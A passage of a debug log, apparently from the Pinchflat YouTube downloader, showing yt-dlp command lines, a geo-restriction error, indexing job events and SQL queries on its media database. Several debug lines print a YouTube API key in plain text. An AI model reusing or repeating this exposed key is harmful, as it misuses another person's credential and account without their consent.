Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/53/42/53420bc35fee8564109eb6f0a0e7b4e471065c65a4c20b4965fe60e75089d4c4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:37:46.251 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NtHZ7IR88dg --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/53/42/53420bc35fee8564109eb6f0a0e7b4e471065c65a4c20b4965fe60e75089d4c4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] NtHZ7IR88dg: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:37:46.252 [error] Error creating media item 'NtHZ7IR88dg' from URL: {:error, "ERROR: [youtube] NtHZ7IR88dg: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:37:46.253 [debug] QUERY OK source="media_items" db=1.6ms idle=729.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 17:37:46.254 [debug] QUERY OK source="tasks" db=0.0ms idle=376.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800264, 6, ~U[2026-02-10 23:37:46Z], ~U[2026-02-10 23:37:46Z]] 17:37:46.255 [info] {"args":{"id":6},"id":3800220,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":8734476,"event":"job:stop","queue_time":744923,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:48.531 [info] {"args":{"id":40},"id":3800226,"meta":{},"system_time":1770766668531761931,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:48.532 [debug] QUERY OK source="sources" db=0.2ms idle=653.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [40] 17:37:48.532 [debug] QUERY OK source="settings" db=0.1ms idle=653.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:48.532 [debug] QUERY OK source="media_profiles" db=0.1ms idle=654.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:48.532 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:48.532 [debug] Fetching recent media IDs from YouTube API for playlist: UU7V6hW6xqPAiUfataAZZtWA 17:37:48.532 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:48.532 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:48.615 [debug] QUERY OK source="media_items" db=0.7ms idle=82.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [40, "g5M9AL95htk", "_d7EmSiMgtQ", "GzGa73A7Ffk", "FLgPJa-pxeI", "BboXiXnvYX4", "jOY6nOpOruM", "nY5Wo5RJeqk", "4-QP9Zs4U_8", "w772tzPzZ9c", "UKe5sYfn5EY", "gvQT7ECCuDU", "7QoryyHW2VY", "OqA1yhu41so", "8Kz9f-UzpX0", "qgdHLj6Xtdo", "BPGbGYYO2eY", "Gik8xyVow0A", "bDum6c8SoRw", "g63zi5h7sSM", "exUUeZSHrMY", "SDVMlDYUgsA", "H5V319xB7WE", "jf2otd0yO5I", "YF9xXeebrCI", "wqTIn6iGJd8", "y3v0uFqgtJM", "iGRSfesAJ4k", "XNeGT_51LKM", "gBy0C2F-q0w", "Olu7GlTkKJU", "1zENw7nCecE", "AnJU-TxeJe0", "JP6u3p6AOIg", "zbhPsblrMT0", "oY3y4IJ3l_w", "3qFWzdhUjSk", "gjiAsn_EV8g", "4pE6u3dWu-0", "0SEzwZ6pGRQ", "4MCrCkm5g9Y", "mQvJiP4Zd1E", "tBG3sf4QnSc", "uZQkRXk2t6o", "uGoQkin-sb8", "wthVwIc9u8s", "QfF3T3TyUnc", "b5TtJHJD0o4", "BueJnc9uOYo", "7Kt4RnUSNvY", ...] 17:37:48.617 [debug] QUERY OK source="media_items" db=1.9ms idle=83.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [40] 17:37:48.618 [debug] QUERY OK source="tasks" db=0.1ms idle=85.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800265, 40, ~U[2026-02-10 23:37:48Z], ~U[2026-02-10 23:37:48Z]] 17:37:48.618 [info] {"args":{"id":40},"id":3800226,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":87010,"event":"job:stop","queue_time":85888,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:49.533 [info] {"args":{"id":2},"id":3800227,"meta":{},"system_time":1770766669533771002,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:49.534 [debug] QUERY OK source="sources" db=0.1ms idle=915.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:37:49.534 [debug] QUERY OK source="settings" db=0.1ms idle=915.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:49.534 [debug] QUERY OK source="media_profiles" db=0.1ms idle=909.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:49.534 [debug] QUERY OK source="settings" db=0.1ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:49.534 [debug] Fetching recent media IDs from YouTube API for playlist: UUdBK94H6oZT2Q7l0-b0xmMg 17:37:49.535 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:49.535 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:49.668 [debug] QUERY OK source="media_items" db=0.6ms idle=133.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "6ZgZNKd6L4w", "k99eZELFMnQ", "SoyXQcmSSDA", "hQDwpXfJXYI", "LRkDQZo_Anw", "sqng2mGejKw", "k9UsDilfbYM", "_cY1rFrNQpE", "7kqvE63fnE4", "jBYgqIPeZ4M", "oIs2ZCcj2Vg", "ck7r7wo829A", "Rv3LJQLMh3U", "LbVz5hXSIKg", "RB7CfRSFjCw", "B9DnrUB4CJM", "ghawYhsGdug", "uQkIZvbbQDA", "4GtFKbysSDY", "Bu671EegYWY", "UYErV4JoFyM", "y_d40V40clo", "7SRjYEHzbX8", "ij2ASG-LSt8", "RGLVdoaD-T0", "bvkgOoZKcwM", "j_2jvyqta0s", "4c63FU_d8T8", "RK2SnHjxGVs", "rA9aiYZOExg", "W8C4Ei0Ykvg", "rvP7or3PPNM", "ZFn-Q-PZtZU", "fwpnuNrSDaI", "ksLlg8f997w", "0RssLJL30h0", "dlW6a17NRew", "dd1TeK-YFuk", "9jBseM65hbs", "QQ49D1E24NM", "1GXzDm8PYp8", "B3P2jc8GX_Y", "ane7B2Q8jbs", "zjmbsU9GD6w", "7Y0UEQ_Jj_c", "clSil9gwZmM", "VKMzpJj8iFo", "j8-OvS8FY0k", "hOIjQTFD_Ss", ...] 17:37:49.671 [debug] QUERY OK source="media_items" db=2.2ms idle=134.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 17:37:49.672 [debug] QUERY OK source="tasks" db=0.1ms idle=136.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800266, 2, ~U[2026-02-10 23:37:49Z], ~U[2026-02-10 23:37:49Z]] 17:37:49.672 [info] {"args":{"id":2},"id":3800227,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":138508,"event":"job:stop","queue_time":539058,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:51.536 [info] {"args":{"id":38},"id":3800228,"meta":{},"system_time":1770766671536803331,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:51.537 [debug] QUERY OK source="sources" db=0.1ms idle=658.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [38] 17:37:51.537 [debug] QUERY OK source="settings" db=0.1ms idle=658.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:51.537 [debug] QUERY OK source="media_profiles" db=0.1ms idle=659.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:51.537 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:51.537 [debug] Fetching recent media IDs from YouTube API for playlist: UU04RYGK0kWq2GJH7uKuvdFg 17:37:51.538 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:51.538 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:51.756 [debug] QUERY OK source="media_items" db=0.6ms idle=218.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [38, "ZtyjAvMIzvs", "ZoadJmKmyVI", "wtPYQdWPea0", "iY_9XEC6mq4", "BWADrQ3CQV4", "XunRKZR1ESc", "dfKW4ZBOaW4", "pD_HukFdNV8", "FJ6nxXlYZac", "FSTfYrqaNgc", "vPg59pmB1Nc", "l5Fl0XIxKfM", "ARwO8ApGMpU", "e7YtjflOT0I", "kl6AlqzF0N0", "VdPv4d0SYvc", "82Lo2Wf3TXM", "qS3cA_cZngc", "g4pJ-Mw53aU", "lbK38r-gV2Q", "U4OyMqmXqpo", "7tASAaMn9hA", "m1miWJTudv4", "VqkxBi1sBG0", "4OuM5mLWQq4", "sgMMljY3oFA", "tXy9epkxt70", "4CLC3yyK09w", "u0OSIl2-53w", "ATDYVHdtpEc", "zDyTHWr1N50", "fQGsTtqzB3Q", "qyCvEerjhnU", "WmFiNcw57o8", "rxhKvzxJgRk", "v3QssL74wA8", "5nKwdMKglm4", "D6xw9bxy3Qg", "rq0urtj1qaM", "qBdYNLq9VCE", "Ibi0y39Aiac", "5Q7ZKetopT4", "NO1V5fR0uH8", "QALB7C5SBSU", "Wq_iFeRsqTo", "3ro8TFTmYyA", "3Oa-9oelGWM", "ldsSZydyJds", "FQRm3QbUWG0", ...] 17:37:51.758 [debug] QUERY OK source="media_items" db=1.4ms idle=219.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND 